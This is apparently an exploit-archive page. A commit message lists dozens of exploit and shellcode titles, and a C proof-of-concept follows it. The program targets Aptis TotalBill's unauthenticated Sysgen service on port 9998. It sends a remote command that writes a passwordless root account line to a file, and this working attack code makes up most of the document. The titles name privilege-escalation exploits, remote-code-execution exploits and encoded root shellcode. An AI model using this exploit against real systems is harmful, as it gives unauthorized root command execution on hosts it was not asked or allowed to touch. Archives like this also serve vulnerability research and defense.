880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
63 lines
No EOL
2.4 KiB
C
63 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/1555/info
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Aptis Software offers a billing / provisioning solution for ISPs called TotalBill. One component of the TotalBill package is a network service called Sysgen that listens on or around port 9998. It allows a client connectiing to it to execute any command on the host it is running on (with whatever uid the service runs as, typically root) without any authentication. If this service is not filtered, anonymous attackers can easily gain root access on the target host by remotely exploiting this naive service. Other components of TotalBill may be vulnerable also (noteably cc_queue to a buffer overflow attack) but none are confirmed.
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#include <stdio.h>
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#include <errno.h>
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#include <unistd.h>
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#include <string.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <sys/socket.h>
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#define TOTALBILL_PORT 9998
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#define TOTALBILL_SERVER "" /* Insert hostname here */
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int main (void)
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{
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struct sockaddr_in servaddr;
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char *tempstr, buf[8192];
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struct hostent *host;
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int sockfd;
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if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
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{
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fprintf (stderr, "Error: Could not create a socket: %s\n",
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strerror (errno));
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return (1);
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}
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memset (&servaddr, 0, sizeof (servaddr));
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servaddr.sin_family = AF_INET;
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servaddr.sin_port = htons (TOTALBILL_PORT);
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if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
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{
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fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
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return (1);
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}
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memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
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if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
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{
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fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
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strerror (errno));
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return (1);
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}
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tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
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printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
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if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
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{
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fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
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return (1);
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}
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printf ("Sent...waiting for response...\n");
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if (read (sockfd, buf, sizeof (buf)) < 0)
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{
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fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
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return (1);
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}
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printf ("Received %s from server\n", buf);
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close (sockfd);
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return (0);
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} |